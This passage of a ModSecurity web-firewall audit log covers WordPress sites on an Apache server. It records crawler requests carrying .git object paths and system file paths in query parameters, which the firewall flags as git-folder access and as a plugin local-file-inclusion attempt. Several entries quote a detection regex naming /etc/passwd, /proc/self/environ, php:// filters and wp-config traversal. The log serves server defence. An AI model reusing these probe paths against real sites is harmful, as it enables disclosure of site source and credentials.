\"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":297,"p2":5892,"p3":0,"p4":0,"p5":334,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:01.915696 +0100","transaction_id":"abPavemBQ3Rl-w2bjLXN_wAAA8U","remote_address":"57.141.20.24","remote_port":50342,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a5/f3348b233ac7fb23f2b1e207c3e5d9439afd6c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"9255f5d95287a848ea1d44787ccdb279","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15008539"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"9255f5d95287a848ea1d44787ccdb279","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a5/f3348b233ac7fb23f2b1e207c3e5d9439afd6c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":336,"p2":9628,"p3":0,"p4":0,"p5":388,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:20.061235 +0100","transaction_id":"abPaw-6R5fbMSFGjtYpIXQAAAsI","remote_address":"57.141.20.53","remote_port":58822,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/fo/LC_MESSAGES/iso_3166.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"d9111ab2ab89110bd07f3ef639bcb19d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14057908"}},"response":{"protocol":"HTTP/1.1","status":503,"headers":{"Content-Length":"431","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/fo/LC_MESSAGES/iso_3166.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 768] [level 3] AH01067: Failed to read FastCGI header","[file \"mod_proxy_fcgi.c\"] [line 1079] [level 3] [status 104] AH01075: Error dispatching request to : "],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":11146,"p3":101,"p4":9,"p5":383,"sr":1344,"sw":1,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:20.093113 +0100","transaction_id":"abPaxOmBQ3Rl-w2bjLXODQAAA8U","remote_address":"57.141.20.12","remote_port":50342,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"bd88b4bf5a18e30582c19bb08331827c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13798119"}},"response":{"protocol":"HTTP/1.1","status":503,"headers":{"Content-Length":"431","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 768] [level 3] AH01067: Failed to read FastCGI header","[file \"mod_proxy_fcgi.c\"] [line 1079] [level 3] [status 104] AH01075: Error dispatching request to : "],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":14907,"p3":905,"p4":9,"p5":1809,"sr":141,"sw":0,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:27.030441 +0100","transaction_id":"abPa1LkYdDy6twR0PPTEQgAABdc","remote_address":"57.141.20.7","remote_port":39190,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/c91c1081cddcb1017686ea4e42ed30b6db9b44 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"496874ec13cf62fca8d8e4df16f91e99","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14420276"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"496874ec13cf62fca8d8e4df16f91e99","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/c91c1081cddcb1017686ea4e42ed30b6db9b44||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":506,"p2":9965,"p3":0,"p4":0,"p5":342,"sr":173,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:27.515194 +0100","transaction_id":"abPa0I_7PhX0AjtBDH9qiAAAARg","remote_address":"57.141.20.47","remote_port":39042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/99/4bb7b76e52b3f0900bb56486761e6508265609 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"234c79bfdfe459983019152d8500c34a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14583018"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade, close","Vary":"Accept-Encoding","X-Orig-Rid":"234c79bfdfe459983019152d8500c34a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/99/4bb7b76e52b3f0900bb56486761e6508265609||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":3382,"p2":119114,"p3":0,"p4":0,"p5":344,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:32.986102 +0100","transaction_id":"abPa3OYOjdilPq3ZQbYcrQAABMU","remote_address":"57.141.20.48","remote_port":46160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"5bbd00e11ea59cb9db76bb4dcbc5eeca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1774365"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5bbd00e11ea59cb9db76bb4dcbc5eeca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":195,"p2":3778,"p3":0,"p4":0,"p5":1769,"sr":103,"sw":0,"l":0,"gc":1481},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:37:33.071826 +0100","transaction_id":"abPa3DAlwUQdKK5mMvEYBgAABUE","remote_address":"57.141.20.6","remote_port":46180,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/om_ET/LC_NAME HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"c29a0b9ba2d62981c7262bd9c76fdee1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839552"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"c29a0b9ba2d62981c7262bd9c76fdee1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/om_ET/LC_NAME||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":5420,"p3":0,"p4":0,"p5":257,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:38:26.229420 +0100","transaction_id":"abPbEOYOjdilPq3ZQbYc6gAABNU","remote_address":"57.141.20.50","remote_port":34758,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/themes/twentythirteen/twentythirteen.2.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"16de07f7f4e256acf9c90aa6380b9d56","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7411840"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"16de07f7f4e256acf9c90aa6380b9d56","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/twentythirteen/twentythirteen.2.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":205,"p2":4031,"p3":0,"p4":0,"p5":336,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:38:53.835018 +0100","transaction_id":"abPbLeYOjdilPq3ZQbYdHgAABNM","remote_address":"103.182.14.14","remote_port":58482,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"POST /xmlrpc.php HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"103.182.14.14","X-Forwarded-Proto":"https","X-Request-Id":"3c3c1328afe31f2408ac727545a663ed","X-L-Admin-Auth":"0","Content-Length":"680","Content-Type":"text/xml; charset=utf-8","Accept":"*/*","Accept-Language":"en-US","User-Agent":"Mozilla/5.0 (Windows NT 6.3; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/11.0.0.0 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13861029"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3c3c1328afe31f2408ac727545a663ed","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 1). RBL lookup of 14.14.182.103.rbl.malware.expert succeeded at REMOTE_ADDR. [file \"/usr/share/modsecurity_lws/me_rbl.conf\"] [line \"1\"] [id \"400010\"] [msg \"Malware host detected by rbl.malware.expert\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 1). RBL lookup of 14.14.182.103.rbl.malware.expert succeeded at REMOTE_ADDR. [file \"/usr/share/modsecurity_lws/me_rbl.conf\"] [line \"1\"] [id \"400010\"] [msg \"Malware host detected by rbl.malware.expert\"] [hostname \"jmkconsulting-ci.com\"] [uri \"/xmlrpc.php\"] [unique_id \"abPbLeYOjdilPq3ZQbYdHgAABNM\"]"],"action":{"intercepted":true,"phase":1,"message":"RBL lookup of 14.14.182.103.rbl.malware.expert succeeded at REMOTE_ADDR."},"stopwatch":{"p1":130465,"p2":0,"p3":0,"p4":0,"p5":310,"sr":0,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:39:05.832823 +0100","transaction_id":"abPbOeYOjdilPq3ZQbYdMgAABMQ","remote_address":"57.141.20.17","remote_port":60398,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/11/716e891cda2247b4ad2f0495e1fcb013596b41 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"811a6afc866b2c6b1e17457bf91fc16b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3249070"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"811a6afc866b2c6b1e17457bf91fc16b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/11/716e891cda2247b4ad2f0495e1fcb013596b41||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":230,"p2":5928,"p3":0,"p4":0,"p5":539,"sr":141,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:40:35.877615 +0100","transaction_id":"abPbk6X5VSvifkvkn31J9wAABFI","remote_address":"57.141.20.20","remote_port":38462,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/be/1633e6640f11e22af2c712eb880911b14cb9cd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"950f73fb45baa416eb157272a098ae06","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14713789"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"950f73fb45baa416eb157272a098ae06","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/be/1633e6640f11e22af2c712eb880911b14cb9cd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3615,"p3":0,"p4":0,"p5":346,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:40:52.119397 +0100","transaction_id":"abPbpCz4TK5nQvxwZbHzmQAABYE","remote_address":"5.255.231.68","remote_port":40004,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"jmksite.jmkconsulting-ci.com","X-Real-IP":"5.255.231.68","X-Forwarded-Proto":"https","X-Request-Id":"0623f7d04a541b0f7f44bdfd9a211fe8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)","From":"support@search.yandex.ru","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"yandex","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10457746"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Content-Length":"810","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.","[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace."],"handler":"redirect-handler","stopwatch":{"p1":241,"p2":4772,"p3":61,"p4":5,"p5":267,"sr":133,"sw":0,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:40:58.695047 +0100","transaction_id":"abPbqppZqvGhhppla87hFAAABRg","remote_address":"57.141.20.49","remote_port":42670,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/web-stat/web-stat.2.6.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"eac48dd00b449bff1b26d7d813ac9257","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8918367"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"eac48dd00b449bff1b26d7d813ac9257","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/web-stat/web-stat.2.6.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag 